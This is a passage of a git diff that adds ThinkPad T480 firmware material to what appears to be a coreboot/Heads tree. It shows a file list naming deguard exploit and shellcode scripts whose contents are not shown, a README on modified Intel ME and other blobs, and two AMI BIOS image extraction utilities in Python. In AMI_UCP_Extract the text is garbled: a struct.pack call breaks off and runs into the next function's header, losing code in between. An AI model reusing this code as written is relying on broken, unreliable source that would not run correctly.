blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/pwdmgr/segreto create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/bup_sku/plat_n_sku create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/bup/mbp create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/header create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/namestr create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 create mode 100644 blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 create mode 100644 blobs/t480/deguard/data/fpfs/optiplex_3050 create mode 100644 blobs/t480/deguard/data/fpfs/thinkpad_t480 create mode 100644 blobs/t480/deguard/data/fpfs/zero create mode 100644 blobs/t480/deguard/doc/COPYING.txt create mode 100644 blobs/t480/deguard/doc/LICENSE.orig create mode 100755 blobs/t480/deguard/finalimage.py create mode 100755 blobs/t480/deguard/gen_shellcode.py create mode 100755 blobs/t480/deguard/generatedelta.py create mode 100644 blobs/t480/deguard/lib/cfg.py create mode 100644 blobs/t480/deguard/lib/exploit.py create mode 100644 blobs/t480/deguard/lib/image.py create mode 100644 blobs/t480/deguard/lib/mfs.py create mode 100755 blobs/t480/deguard/mfsutil.py create mode 100755 blobs/t480/download-clean-deguard-me.sh create mode 100644 blobs/t480/gbe.bin create mode 100644 blobs/t480/ifd_16.bin create mode 100644 blobs/t480/me_cleaner/README.md create mode 100644 blobs/t480/me_cleaner/description.md create mode 100644 blobs/t480/me_cleaner/man/me_cleaner.1 create mode 100755 blobs/t480/me_cleaner/me_cleaner.py create mode 100755 blobs/t480/me_cleaner/setup.py diff --git a/blobs/t480/.gitignore b/blobs/t480/.gitignore new file mode 100644 index 000000000..a9b63f4a5 --- /dev/null +++ b/blobs/t480/.gitignore @@ -0,0 +1,2 @@ +me.bin +tb.bin \ No newline at end of file diff --git a/blobs/t480/README.md b/blobs/t480/README.md new file mode 100644 index 000000000..2f7d1620a --- /dev/null +++ b/blobs/t480/README.md @@ -0,0 +1,13 @@ +# T480 Blobs + +Coreboot on the T480 requires the following binary blobs: + +- `me.bin` - Consists of Intel’s Management Engine (ME), which was modified and deguarded using [me_cleaner](https://github.com/corna/me_cleaner) and [deguard](https://codeberg.org/libreboot/deguard) (written by Mate Kukri) to remove all but the modules which are necessary for the CPU to function. +- `tb.bin` - Consists of Thunderbolt firmware. +- `gbe.bin` - Consists of hardware/software configuration data for the Gigabit Ethernet (GbE) controller. +- `ifd_16.bin` - Consists of the Intel Flash Descriptor (IFD). + +Heads supplies an IFD and GbE blob, which were copied from libreboot. We changed the MAC address of the GbE blob to `00:de:ad:c0:ff:ee` using [nvmutil](https://libreboot.org/docs/install/nvmutil.html), to support anonymity and build reproducibility. + +When building any T480 board variant with `make`, the build system will download a copy the Intel ME. `me.bin` was extracted from a Dell-Inspiron Windows installer firmware update. + diff --git a/blobs/t480/biosutilities/.gitignore b/blobs/t480/biosutilities/.gitignore new file mode 100644 index 000000000..238b83e2d --- /dev/null +++ b/blobs/t480/biosutilities/.gitignore @@ -0,0 +1,5 @@ +# Skip all external files +external/* + +# Keep external > requirements file +!external/requirements.txt diff --git a/blobs/t480/biosutilities/AMI_PFAT_Extract.py b/blobs/t480/biosutilities/AMI_PFAT_Extract.py new file mode 100644 index 000000000..026b74aea --- /dev/null +++ b/blobs/t480/biosutilities/AMI_PFAT_Extract.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +AMI PFAT Extract +AMI BIOS Guard Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'AMI BIOS Guard Extractor v4.0_a12' + +import os +import re +import sys +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_bgs_tool +from common.num_ops import get_ordinal +from common.path_ops import make_dirs, safe_name, get_extract_path, extract_suffix +from common.patterns import PAT_AMI_PFAT +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class AmiBiosGuardHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Size', uint32_t), # 0x00 Header + Entries + ('Checksum', uint32_t), # 0x04 ? + ('Tag', char*8), # 0x04 _AMIPFAT + ('Flags', uint8_t), # 0x10 ? + # 0x11 + ] + + def struct_print(self, p): + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Checksum:', f'0x{self.Checksum:04X}'], p, False) + printer(['Tag :', self.Tag.decode('utf-8')], p, False) + printer(['Flags :', f'0x{self.Flags:02X}'], p, False) + +class IntelBiosGuardHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('BGVerMajor', uint16_t), # 0x00 + ('BGVerMinor', uint16_t), # 0x02 + ('PlatformID', uint8_t*16), # 0x04 + ('Attributes', uint32_t), # 0x14 + ('ScriptVerMajor', uint16_t), # 0x16 + ('ScriptVerMinor', uint16_t), # 0x18 + ('ScriptSize', uint32_t), # 0x1C + ('DataSize', uint32_t), # 0x20 + ('BIOSSVN', uint32_t), # 0x24 + ('ECSVN', uint32_t), # 0x28 + ('VendorInfo', uint32_t), # 0x2C + # 0x30 + ] + + def get_platform_id(self): + id_byte = bytes(self.PlatformID) + + id_text = re.sub(r'[\n\t\r\x00 ]', '', id_byte.decode('utf-8','ignore')) + + id_hexs = f'{int.from_bytes(id_byte, "big"):0{0x10 * 2}X}' + id_guid = f'{{{id_hexs[:8]}-{id_hexs[8:12]}-{id_hexs[12:16]}-{id_hexs[16:20]}-{id_hexs[20:]}}}' + + return f'{id_text} {id_guid}' + + def get_flags(self): + attr = IntelBiosGuardHeaderGetAttributes() + attr.asbytes = self.Attributes + + return attr.b.SFAM, attr.b.ProtectEC, attr.b.GFXMitDis, attr.b.FTU, attr.b.Reserved + + def struct_print(self, p): + no_yes = ['No','Yes'] + f1,f2,f3,f4,f5 = self.get_flags() + + printer(['BIOS Guard Version :', f'{self.BGVerMajor}.{self.BGVerMinor}'], p, False) + printer(['Platform Identity :', self.get_platform_id()], p, False) + printer(['Signed Flash Address Map :', no_yes[f1]], p, False) + printer(['Protected EC OpCodes :', no_yes[f2]], p, False) + printer(['Graphics Security Disable :', no_yes[f3]], p, False) + printer(['Fault Tolerant Update :', no_yes[f4]], p, False) + printer(['Attributes Reserved :', f'0x{f5:X}'], p, False) + printer(['Script Version :', f'{self.ScriptVerMajor}.{self.ScriptVerMinor}'], p, False) + printer(['Script Size :', f'0x{self.ScriptSize:X}'], p, False) + printer(['Data Size :', f'0x{self.DataSize:X}'], p, False) + printer(['BIOS Security Version Number:', f'0x{self.BIOSSVN:X}'], p, False) + printer(['EC Security Version Number :', f'0x{self.ECSVN:X}'], p, False) + printer(['Vendor Information :', f'0x{self.VendorInfo:X}'], p, False) + +class IntelBiosGuardHeaderAttributes(ctypes.LittleEndianStructure): + _fields_ = [ + ('SFAM', uint32_t, 1), # Signed Flash Address Map + ('ProtectEC', uint32_t, 1), # Protected EC OpCodes + ('GFXMitDis', uint32_t, 1), # GFX Security Disable + ('FTU', uint32_t, 1), # Fault Tolerant Update + ('Reserved', uint32_t, 28) # Reserved/Unknown + ] + +class IntelBiosGuardHeaderGetAttributes(ctypes.Union): + _fields_ = [ + ('b', IntelBiosGuardHeaderAttributes), + ('asbytes', uint32_t) + ] + +class IntelBiosGuardSignature2k(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Unknown0', uint32_t), # 0x000 + ('Unknown1', uint32_t), # 0x004 + ('Modulus', uint32_t*64), # 0x008 + ('Exponent', uint32_t), # 0x108 + ('Signature', uint32_t*64), # 0x10C + # 0x20C + ] + + def struct_print(self, p): + Modulus = f'{int.from_bytes(self.Modulus, "little"):0{0x100 * 2}X}' + Signature = f'{int.from_bytes(self.Signature, "little"):0{0x100 * 2}X}' + + printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) + printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) + printer(['Modulus :', f'{Modulus[:32]} [...]'], p, False) + printer(['Exponent :', f'0x{self.Exponent:X}'], p, False) + printer(['Signature:', f'{Signature[:32]} [...]'], p, False) + +def is_ami_pfat(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(get_ami_pfat(input_buffer)) + +def get_ami_pfat(input_file): + input_buffer = file_to_bytes(input_file) + + match = PAT_AMI_PFAT.search(input_buffer) + + return input_buffer[match.start() - 0x8:] if match else b'' + +def get_file_name(index, name): + return safe_name(f'{index:02d} -- {name}') + +def parse_bg_script(script_data, padding=0): + is_opcode_div = len(script_data) % 8 == 0 + + if not is_opcode_div: + printer('Error: Script is not divisible by OpCode length!', padding, False) + + return 1 + + is_begin_end = script_data[:8] + script_data[-8:] == b'\x01' + b'\x00' * 7 + b'\xFF' + b'\x00' * 7 + + if not is_begin_end: + printer('Error: Script lacks Begin and/or End OpCodes!', padding, False) + + return 2 + + BigScript = get_bgs_tool() + + if not BigScript: + printer('Note: BIOS Guard Script Tool optional dependency is missing!', padding, False) + + return 3 + + script = BigScript(code_bytes=script_data).to_string().replace('\t',' ').split('\n') + + for opcode in script: + if opcode.endswith(('begin','end')): spacing = padding + elif opcode.endswith(':'): spacing = padding + 4 + else: spacing = padding + 12 + + operands = [operand for operand in opcode.split(' ') if operand] + printer(('{:<12s}' + '{:<11s}' * (len(operands) - 1)).format(*operands), spacing, False) + + return 0 + +def parse_pfat_hdr(buffer, padding=0): + block_all = [] + + pfat_hdr = get_struct(buffer, 0x0, AmiBiosGuardHeader) + + hdr_size = pfat_hdr.Size + hdr_data = buffer[PFAT_AMI_HDR_LEN:hdr_size] + hdr_text = hdr_data.decode('utf-8').splitlines() + + printer('AMI BIOS Guard Header:\n', padding) + + pfat_hdr.struct_print(padding + 4) + + hdr_title,*hdr_files = hdr_text + + files_count = len(hdr_files) + + hdr_tag,*hdr_indexes = hdr_title.split('II') + + printer(hdr_tag + '\n', padding + 4) + + bgt_indexes = [int(h, 16) for h in re.findall(r'.{1,4}', hdr_indexes[0])] if hdr_indexes else [] + + for index,entry in enumerate(hdr_files): + entry_parts = entry.split(';') + + info = entry_parts[0].split() + name = entry_parts[1] + + flags = int(info[0]) + param = info[1] + count = int(info[2]) + + order = get_ordinal((bgt_indexes[index] if bgt_indexes else index) + 1) + + desc = f'{name} (Index: {index + 1:02d}, Flash: {order}, Parameter: {param}, Flags: 0x{flags:X}, Blocks: {count})' + + block_all += [(desc, name, order, param, flags, index, i, count) for i in range(count)] + + _ = [printer(block[0], padding + 8, False) for block in block_all if block[6] == 0] + + return block_all, hdr_size, files_count + +def parse_pfat_file(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + pfat_buffer = get_ami_pfat(input_buffer) + + file_path = '' + all_blocks_dict = {} + + extract_name = os.path.basename(extract_path).rstrip(extract_suffix()) + + make_dirs(extract_path, delete=True) + + block_all,block_off,file_count = parse_pfat_hdr(pfat_buffer, padding) + + for block in block_all: + file_desc,file_name,_,_,_,file_index,block_index,block_count = block + + if block_index == 0: + printer(file_desc, padding + 4) + + file_path = os.path.join(extract_path, get_file_name(file_index + 1, file_name)) + + all_blocks_dict[file_index] = b'' + + block_status = f'{block_index + 1}/{block_count}' + + bg_hdr = get_struct(pfat_buffer, block_off, IntelBiosGuardHeader) + + printer(f'Intel BIOS Guard {block_status} Header:\n', padding + 8) + + bg_hdr.struct_print(padding + 12) + + bg_script_bgn = block_off + PFAT_BLK_HDR_LEN + bg_script_end = bg_script_bgn + bg_hdr.ScriptSize + bg_script_bin = pfat_buffer[bg_script_bgn:bg_script_end] + + bg_data_bgn = bg_script_end + bg_data_end = bg_data_bgn + bg_hdr.DataSize + bg_data_bin = pfat_buffer[bg_data_bgn:bg_data_end] + + block_off = bg_data_end # Assume next block starts at data end + + is_sfam,_,_,_,_ = bg_hdr.get_flags() # SFAM, ProtectEC, GFXMitDis, FTU, Reserved + + if is_sfam: + bg_sig_bgn = bg_data_end + bg_sig_end = bg_sig_bgn + PFAT_BLK_S2K_LEN + bg_sig_bin = pfat_buffer[bg_sig_bgn:bg_sig_end] + + if len(bg_sig_bin) == PFAT_BLK_S2K_LEN: + bg_sig = get_struct(bg_sig_bin, 0x0, IntelBiosGuardSignature2k) + + printer(f'Intel BIOS Guard {block_status} Signature:\n', padding + 8) + + bg_sig.struct_print(padding + 12) + + block_off = bg_sig_end # Adjust next block to start at data + signature end + + printer(f'Intel BIOS Guard {block_status} Script:\n', padding + 8) + + _ = parse_bg_script(bg_script_bin, padding + 12) + + with open(file_path, 'ab') as out_dat: + out_dat.write(bg_data_bin) + + all_blocks_dict[file_index] += bg_data_bin + + pfat_oob_data = pfat_buffer[block_off:] # Store out-of-bounds data after the end of PFAT files + + pfat_oob_name = get_file_name(file_count + 1, f'{extract_name}_OOB.bin') + + pfat_oob_path = os.path.join(extract_path, pfat_oob_name) + + with open(pfat_oob_path, 'wb') as out_oob: + out_oob.write(pfat_oob_data) + + if is_ami_pfat(pfat_oob_data): + parse_pfat_file(pfat_oob_data, get_extract_path(pfat_oob_path), padding) + + in_all_data = b''.join([block[1] for block in sorted(all_blocks_dict.items())]) + + in_all_name = get_file_name(0, f'{extract_name}_ALL.bin') + + in_all_path = os.path.join(extract_path, in_all_name) + + with open(in_all_path, 'wb') as out_all: + out_all.write(in_all_data + pfat_oob_data) + + return 0 + +PFAT_AMI_HDR_LEN = ctypes.sizeof(AmiBiosGuardHeader) +PFAT_BLK_HDR_LEN = ctypes.sizeof(IntelBiosGuardHeader) +PFAT_BLK_S2K_LEN = ctypes.sizeof(IntelBiosGuardSignature2k) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_ami_pfat, parse_pfat_file).run_utility() diff --git a/blobs/t480/biosutilities/AMI_UCP_Extract.py b/blobs/t480/biosutilities/AMI_UCP_Extract.py new file mode 100644 index 000000000..2f59e6fe1 --- /dev/null +++ b/blobs/t480/biosutilities/AMI_UCP_Extract.py @@ -0,0 +1,515 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +AMI UCP Extract +AMI UCP Update Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'AMI UCP Update Extractor v2.0_a20' + +import os +import re +import sys +import struct +import ctypes +import contextlib + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.checksums import get_chk_16 +from common.comp_efi import efi_decompress, is_efi_compressed +from common.path_ops import agnostic_path, make_dirs, safe_name, safe_path, get_extract_path +from common.patterns import PAT_AMI_UCP, PAT_INTEL_ENG +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes, to_string + +from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file +from Insyde_IFD_Extract import insyde_ifd_extract, is_insyde_ifd + +class UafHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('ModuleTag', char*4), # 0x00 + ('ModuleSize', uint32_t), # 0x04 + ('Checksum', uint16_t), # 0x08 + ('Unknown0', uint8_t), # 0x0A + ('Unknown1', uint8_t), # 0x0A + ('Reserved', uint8_t*4), # 0x0C + # 0x10 + ] + + def _get_reserved(self): + res_bytes = bytes(self.Reserved) + + res_hex = f'0x{int.from_bytes(res_bytes, "big"):0{0x4 * 2}X}' + + res_str = re.sub(r'[\n\t\r\x00 ]', '', res_bytes.decode('utf-8','ignore')) + + res_txt = f' ({res_str})' if len(res_str) else '' + + return f'{res_hex}{res_txt}' + + def struct_print(self, p): + printer(['Tag :', self.ModuleTag.decode('utf-8')], p, False) + printer(['Size :', f'0x{self.ModuleSize:X}'], p, False) + printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) + printer(['Unknown 0 :', f'0x{self.Unknown0:02X}'], p, False) + printer(['Unknown 1 :', f'0x{self.Unknown1:02X}'], p, False) + printer(['Reserved :', self._get_reserved()], p, False) + +class UafModule(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('CompressSize', uint32_t), # 0x00 + ('OriginalSize', uint32_t), # 0x04 + # 0x08 + ] + + def struct_print(self, p, filename, description): + printer(['Compress Size:', f'0x{self.CompressSize:X}'], p, False) + printer(['Original Size:', f'0x{self.OriginalSize:X}'], p, False) + printer(['Filename :', filename], p, False) + printer(['Description :', description], p, False) + +class UiiHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('UIISize', uint16_t), # 0x00 + ('Checksum', uint16_t), # 0x02 + ('UtilityVersion', uint32_t), # 0x04 AFU|BGT (Unknown, Signed) + ('InfoSize', uint16_t), # 0x08 + ('SupportBIOS', uint8_t), # 0x0A + ('SupportOS', uint8_t), # 0x0B + ('DataBusWidth', uint8_t), # 0x0C + ('ProgramType', uint8_t), # 0x0D + ('ProgramMode', uint8_t), # 0x0E + ('SourceSafeRel', uint8_t), # 0x0F + # 0x10 + ] + + SBI = {1: 'ALL', 2: 'AMIBIOS8', 3: 'UEFI', 4: 'AMIBIOS8/UEFI'} + SOS = {1: 'DOS', 2: 'EFI', 3: 'Windows', 4: 'Linux', 5: 'FreeBSD', 6: 'MacOS', 128: 'Multi-Platform'} + DBW = {1: '16b', 2: '16/32b', 3: '32b', 4: '64b'} + PTP = {1: 'Executable', 2: 'Library', 3: 'Driver'} + PMD = {1: 'API', 2: 'Console', 3: 'GUI', 4: 'Console/GUI'} + + def struct_print(self, p, description): + SupportBIOS = self.SBI.get(self.SupportBIOS, f'Unknown ({self.SupportBIOS})') + SupportOS = self.SOS.get(self.SupportOS, f'Unknown ({self.SupportOS})') + DataBusWidth = self.DBW.get(self.DataBusWidth, f'Unknown ({self.DataBusWidth})') + ProgramType = self.PTP.get(self.ProgramType, f'Unknown ({self.ProgramType})') + ProgramMode = self.PMD.get(self.ProgramMode, f'Unknown ({self.ProgramMode})') + + printer(['UII Size :', f'0x{self.UIISize:X}'], p, False) + printer(['Checksum :', f'0x{self.Checksum:04X}'], p, False) + printer(['Tool Version :', f'0x{self.UtilityVersion:08X}'], p, False) + printer(['Info Size :', f'0x{self.InfoSize:X}'], p, False) + printer(['Supported BIOS:', SupportBIOS], p, False) + printer(['Supported OS :', SupportOS], p, False) + printer(['Data Bus Width:', DataBusWidth], p, False) + printer(['Program Type :', ProgramType], p, False) + printer(['Program Mode :', ProgramMode], p, False) + printer(['SourceSafe Tag:', f'{self.SourceSafeRel:02d}'], p, False) + printer(['Description :', description], p, False) + +class DisHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('PasswordSize', uint16_t), # 0x00 + ('EntryCount', uint16_t), # 0x02 + ('Password', char*12), # 0x04 + # 0x10 + ] + + def struct_print(self, p): + printer(['Password Size:', f'0x{self.PasswordSize:X}'], p, False) + printer(['Entry Count :', self.EntryCount], p, False) + printer(['Password :', self.Password.decode('utf-8')], p, False) + +class DisModule(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('EnabledDisabled', uint8_t), # 0x00 + ('ShownHidden', uint8_t), # 0x01 + ('Command', char*32), # 0x02 + ('Description', char*256), # 0x22 + # 0x122 + ] + + ENDIS = {0: 'Disabled', 1: 'Enabled'} + SHOWN = {0: 'Hidden', 1: 'Shown', 2: 'Shown Only'} + + def struct_print(self, p): + EnabledDisabled = self.ENDIS.get(self.EnabledDisabled, f'Unknown ({self.EnabledDisabled})') + ShownHidden = self.SHOWN.get(self.ShownHidden, f'Unknown ({self.ShownHidden})') + + printer(['State :', EnabledDisabled], p, False) + printer(['Display :', ShownHidden], p, False) + printer(['Command :', self.Command.decode('utf-8').strip()], p, False) + printer(['Description:', self.Description.decode('utf-8').strip()], p, False) + +# Validate UCP Module Checksum-16 +def chk16_validate(data, tag, padd=0): + if get_chk_16(data) != 0: + printer(f'Error: Invalid UCP Module {tag} Checksum!', padd, pause=True) + else: + printer(f'Checksum of UCP Module {tag} is valid!', padd) + +# Check if input is AMI UCP image +def is_ami_ucp(in_file): + buffer = file_to_bytes(in_file) + + return bool(get_ami_ucp(buffer)[0] is not None) + +# Get all input file AMI UCP patterns +def get_ami_ucp(in_file): + buffer = file_to_bytes(in_file) + + uaf_len_max = 0x0 # Length of largest detected @UAF|@HPU + uaf_buf_bin = None # Buffer of largest detected @UAF|@HPU + uaf_buf_tag = '@UAF' # Tag of largest detected @UAF|@HPU + + for uaf in PAT_AMI_UCP.finditer(buffer): + uaf_len_cur = int.from_bytes(buffer[uaf.start() + 0x4:uaf.start() + 0x8], 'little') + + if uaf_len_cur > uaf_len_max: + uaf_len_max = uaf_len_cur + uaf_hdr_off = uaf.start() + uaf_buf_bin = buffer[uaf_hdr_off:uaf_hdr_off + uaf_len_max] + uaf_buf_tag = uaf.group(0)[:4].decode('utf-8','ignore') + + return uaf_buf_bin, uaf_buf_tag + +# Get list of @UAF|@HPU Modules +def get_uaf_mod(buffer, uaf_off=0x0): + uaf_all = [] # Initialize list of all @UAF|@HPU Modules + + while buffer[uaf_off] == 0x40: # ASCII of @ is 0x40 + uaf_hdr = get_struct(buffer, uaf_off, UafHeader) # Parse @UAF|@HPU Module Structure + + uaf_tag = uaf_hdr.ModuleTag.decode('utf-8') # Get unique @UAF|@HPU Module Tag + + uaf_all.append([uaf_tag, uaf_off, uaf_hdr]) # Store @UAF|@HPU Module Info + + uaf_off += uaf_hdr.ModuleSize # Adjust to next @UAF|@HPU Module offset + + if uaf_off >= len(buffer): + break # Stop parsing at EOF + + # Check if @UAF|@HPU Module @NAL exists and place it first + # Parsing @NAL first allows naming all @UAF|@HPU Modules + for mod_idx,mod_val in enumerate(uaf_all): + if mod_val[0] == '@NAL': + uaf_all.insert(1, uaf_all.pop(mod_idx)) # After UII for visual purposes + + break # @NAL found, skip the rest + + return uaf_all + +# Parse & Extract AMI UCP structures +def ucp_extract(in_file, extract_path, padding=0, checksum=False): + input_buffer = file_to_bytes(in_file) + + nal_dict = {} # Initialize @NAL Dictionary per UCP + + printer('Utility Configuration Program', padding) + + make_dirs(extract_path, delete=True) + + # Get best AMI UCP Pattern match based on @UAF|@HPU Size + ucp_buffer,ucp_tag = get_ami_ucp(input_buffer) + + uaf_hdr = get_struct(ucp_buffer, 0, UafHeader) # Parse @UAF|@HPU Header Structure + + printer(f'Utility Auxiliary File > {ucp_tag}:\n', padding + 4) + + uaf_hdr.struct_print(padding + 8) + + fake = struct.pack(' @UAF|@HPU Module/Section +def uaf_extract(buffer, extract_path, mod_info, padding=0, checksum=False, nal_dict=None): + if nal_dict is None: + nal_dict = {} + + uaf_tag,uaf_off,uaf_hdr = mod_info + + uaf_data_all = buffer[uaf_off:uaf_off + uaf_hdr.ModuleSize] # @UAF|@HPU Module Entire Data + + uaf_data_mod = uaf_data_all[UAF_HDR_LEN:] # @UAF|@HPU Module EFI Data + + uaf_data_raw = uaf_data_mod[UAF_MOD_LEN:] # @UAF|@HPU Module Raw Data + + printer(f'Utility Auxiliary File > {uaf_tag}:\n', padding) + + uaf_hdr.struct_print(padding + 4) # Print @UAF|@HPU Module Info + + uaf_mod = get_struct(buffer, uaf_off + UAF_HDR_LEN, UafModule) # Parse UAF Module EFI Structure + + is_comp = uaf_mod.CompressSize != uaf_mod.OriginalSize # Detect @UAF|@HPU Module EFI Compression + + if uaf_tag in nal_dict: + uaf_name = nal_dict[uaf_tag][1] # Always prefer @NAL naming first + elif uaf_tag in UAF_TAG_DICT: + uaf_name = UAF_TAG_DICT[uaf_tag][0] # Otherwise use built-in naming + elif uaf_tag == '@ROM': + uaf_name = 'BIOS.bin' # BIOS/PFAT Firmware (w/o Signature) + elif uaf_tag.startswith('@R0'): + uaf_name = f'BIOS_0{uaf_tag[3:]}.bin' # BIOS/PFAT Firmware + elif uaf_tag.startswith('@S0'): + uaf_name = f'BIOS_0{uaf_tag[3:]}.sig' # BIOS/PFAT Signature + elif uaf_tag.startswith('@DR'): + uaf_name = f'DROM_0{uaf_tag[3:]}.bin' # Thunderbolt Retimer Firmware + elif uaf_tag.startswith('@DS'): + uaf_name = f'DROM_0{uaf_tag[3:]}.sig' # Thunderbolt Retimer Signature + elif uaf_tag.startswith('@EC'): + uaf_name = f'EC_0{uaf_tag[3:]}.bin' # Embedded Controller Firmware + elif uaf_tag.startswith('@ME'): + uaf_name = f'ME_0{uaf_tag[3:]}.bin' # Management Engine Firmware + else: + uaf_name = uaf_tag # Could not name the @UAF|@HPU Module, use Tag instead + + uaf_fext = '' if uaf_name != uaf_tag else '.bin' + + uaf_fdesc = UAF_TAG_DICT[uaf_tag][1] if uaf_tag in UAF_TAG_DICT else uaf_name + + uaf_mod.struct_print(padding + 4, uaf_name + uaf_fext, uaf_fdesc) # Print @UAF|@HPU Module EFI Info + + # Check if unknown @UAF|@HPU Module Tag is present in @NAL but not in built-in dictionary + if uaf_tag in nal_dict and uaf_tag not in UAF_TAG_DICT and not uaf_tag.startswith(('@ROM','@R0','@S0','@DR','@DS')): + printer(f'Note: Detected new AMI UCP Module {uaf_tag} ({nal_dict[uaf_tag][1]}) in @NAL!', padding + 4, pause=True) + + # Generate @UAF|@HPU Module File name, depending on whether decompression will be required + uaf_sname = safe_name(uaf_name + ('.temp' if is_comp else uaf_fext)) + if uaf_tag in nal_dict: + uaf_npath = safe_path(extract_path, nal_dict[uaf_tag][0]) + make_dirs(uaf_npath, exist_ok=True) + uaf_fname = safe_path(uaf_npath, uaf_sname) + else: + uaf_fname = safe_path(extract_path, uaf_sname) + + if checksum: + chk16_validate(uaf_data_all, uaf_tag, padding + 4) + + # Parse Utility Identification Information @UAF|@HPU Module (@UII) + if uaf_tag == '@UII': + info_hdr = get_struct(uaf_data_raw, 0, UiiHeader) # Parse @UII Module Raw Structure + + info_data = uaf_data_raw[max(UII_HDR_LEN,info_hdr.InfoSize):info_hdr.UIISize] # @UII Module Info Data + + # Get @UII Module Info/Description text field + info_desc = info_data.decode('utf-8','ignore').strip('\x00 ') + + printer('Utility Identification Information:\n', padding + 4) + + info_hdr.struct_print(padding + 8, info_desc) # Print @UII Module Info + + if checksum: + chk16_validate(uaf_data_raw, '@UII > Info', padding + 8) + + # Store/Save @UII Module Info in file + with open(uaf_fname[:-4] + '.txt', 'a', encoding='utf-8') as uii_out: + with contextlib.redirect_stdout(uii_out): + info_hdr.struct_print(0, info_desc) # Store @UII Module Info + + # Adjust @UAF|@HPU Module Raw Data for extraction + if is_comp: + # Some Compressed @UAF|@HPU Module EFI data lack necessary EOF padding + if uaf_mod.CompressSize > len(uaf_data_raw): + comp_padd = b'\x00' * (uaf_mod.CompressSize - len(uaf_data_raw)) + uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw + comp_padd # Add missing padding for decompression + else: + uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw # Add the EFI/Tiano Compression info before Raw Data + else: + uaf_data_raw = uaf_data_raw[:uaf_mod.OriginalSize] # No compression, extend to end of Original @UAF|@HPU Module size + + # Store/Save @UAF|@HPU Module file + if uaf_tag != '@UII': # Skip @UII binary, already parsed + with open(uaf_fname, 'wb') as uaf_out: + uaf_out.write(uaf_data_raw) + + # @UAF|@HPU Module EFI/Tiano Decompression + if is_comp and is_efi_compressed(uaf_data_raw, False): + dec_fname = uaf_fname.replace('.temp', uaf_fext) # Decompressed @UAF|@HPU Module file path + + if efi_decompress(uaf_fname, dec_fname, padding + 4) == 0: + with open(dec_fname, 'rb') as dec: + 